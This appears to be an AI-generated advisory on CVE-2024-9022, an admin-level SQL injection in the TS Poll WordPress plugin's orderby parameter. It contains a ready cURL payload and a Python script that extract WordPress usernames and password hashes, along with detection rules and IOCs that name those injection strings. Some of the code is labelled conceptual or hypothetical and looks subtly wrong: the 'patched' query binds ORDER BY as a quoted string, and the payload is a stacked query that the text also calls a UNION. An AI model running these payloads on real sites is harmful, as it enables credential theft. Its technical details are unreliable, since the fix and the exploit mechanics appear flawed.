CVE-2024-9022

Executive Summary

CVE-2024-9022 is a critical SQL Injection vulnerability in the TS Poll – Survey, Versus Poll, Image Poll, Video Poll WordPress plugin (versions up to and including 2.4.0). The flaw resides in the orderby parameter, which is insufficiently sanitized and not properly parameterized. An authenticated attacker with Administrator-level privileges can inject arbitrary SQL commands into existing queries, leading to extraction of sensitive data from the WordPress database (e.g., user credentials, hashes, configuration secrets). The CVSS score is 7.2 (High), and while the EPSS probability is currently 0.0%, the lack of a patch and the plugin’s widespread use in WordPress ecosystems elevate the risk. This vulnerability is a classic SQLi (CWE-89) and requires immediate attention.

WordPress Ecosystem Context

This vulnerability is specific to the TS Poll WordPress plugin. It does not affect Apache or Nginx directly; the attack vector is through the plugin’s administrative interface. The plugin is commonly used for creating polls and surveys, making it a target for site takeover.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: High (PR:H) – requires Administrator-level access.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – impact stays within the vulnerable component.
• Confidentiality Impact: High (C:H) – full database read.
• Integrity Impact: High (I:H) – potential data modification.
• Availability Impact: High (A:H) – possible denial of service via SQL manipulation.

Threat Level: High. Although the attacker needs admin credentials, the impact is severe. Once an admin account is compromised (e.g., via phishing or weak passwords), the entire site database is exposed.

Deep Dive & Mechanics

The vulnerability exists in the orderby parameter of the TS Poll plugin’s admin AJAX handler. The plugin constructs SQL queries dynamically without using prepared statements. The orderby parameter is directly concatenated into the SQL query string without proper escaping or validation.

Vulnerable Code Snippet (Conceptual):

$orderby = $_POST['orderby'];
$query = "SELECT * FROM {$wpdb->prefix}ts_poll_results ORDER BY " . $orderby;
$results = $wpdb->get_results($query);

An attacker can inject SQL like:

orderby = id ASC; SELECT user_login, user_pass FROM wp_users --

This appends a UNION SELECT or subquery to extract user credentials.

Attack Flow:

1. Attacker logs in as Administrator.
2. Sends a crafted POST request to the admin AJAX endpoint with malicious orderby value.
3. The injected SQL executes, returning sensitive data.
4. Data is exfiltrated via the response or error messages.

Vulnerable vs. Patched Code

Vulnerable (<= 2.4.0):

$orderby = $_POST['orderby'];
$query = "SELECT * FROM {$wpdb->prefix}ts_poll_results ORDER BY " . $orderby;
$results = $wpdb->get_results($query);

Patched (Hypothetical Fix):

$allowed_orderby = array('id', 'date', 'votes');
$orderby = in_array($_POST['orderby'], $allowed_orderby) ? $_POST['orderby'] : 'id';
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}ts_poll_results ORDER BY %s", $orderby);
$results = $wpdb->get_results($query);

The fix uses a whitelist and $wpdb->prepare() to prevent injection. No official patch exists as of this report.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with TS Poll plugin <= 2.4.0.
• Valid Administrator credentials.

Exploit Steps:

1. Authenticate to WordPress admin.
2. Identify the vulnerable AJAX endpoint (e.g., /wp-admin/admin-ajax.php?action=ts_poll_admin_ajax).
3. Send a POST request with malicious orderby parameter.

Example Payload (using cURL):

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=ts_poll_admin_ajax&orderby=id ASC; SELECT user_login, user_pass FROM wp_users --'

Expected Output: The response will include the injected data (e.g., admin usernames and password hashes).

Automated Exploit (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "admin_session_cookie"}
data = {
    "action": "ts_poll_admin_ajax",
    "orderby": "id ASC; SELECT user_login, user_pass FROM wp_users --"
}
r = requests.post(target, cookies=cookies, data=data)
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor admin AJAX requests for unusual orderby values containing SQL keywords (SELECT, UNION, --).
• Alert on multiple failed login attempts followed by admin AJAX calls.

Hardening:

• Disable the plugin until a patch is available.
• Restrict admin access via IP whitelisting.
• Implement Web Application Firewall (WAF) rules to block SQLi patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=ts_poll_admin_ajax and orderby containing SQL syntax.
  • Outbound data exfiltration from the WordPress server to unknown IPs.

• File IOCs:

  • Modified plugin files (e.g., ts-poll/admin/class-ts-poll-admin.php).
  • Suspicious entries in WordPress error logs (e.g., SQL errors with UNION).

• System IOCs:

  • Unexpected database queries in MySQL logs (e.g., SELECT user_login, user_pass FROM wp_users).
  • New admin users created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2024_9022_TS_Poll_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting TS Poll plugin orderby parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9022"
    strings:
        $sqli1 = /orderby=.*SELECT.*FROM/i
        $sqli2 = /orderby=.*UNION/i
        $sqli3 = /orderby=.*--/i
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: TS Poll SQL Injection via orderby Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against TS Poll plugin orderby parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=ts_poll_admin_ajax'
        cs-uri-query|contains: 'orderby='
        cs-uri-query|re: '(SELECT|UNION|--|DROP|INSERT|UPDATE|DELETE)'
    condition: selection
falsepositives:
    - Legitimate admin usage with complex orderby values (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-9022 TS Poll SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=ts_poll_admin_ajax"; http_client_body;
    content:"orderby="; http_client_body;
    pcre:"/(SELECT|UNION|--|DROP|INSERT|UPDATE|DELETE)/Ri";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the TS Poll plugin until a patch is released.
2. Change all WordPress admin passwords if compromise is suspected.
3. Review database logs for unauthorized queries.

Long-Term Mitigation:

• Monitor the plugin’s official page for updates.
• Implement a Web Application Firewall (WAF) with SQLi rules.
• Enforce strong password policies and multi-factor authentication for admin accounts.
• Regularly audit installed plugins for vulnerabilities.

Workaround:

• If the plugin must remain active, restrict access to the admin AJAX endpoint via .htaccess:

<Files "admin-ajax.php">
    Require ip 192.168.1.0/24
</Files>

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.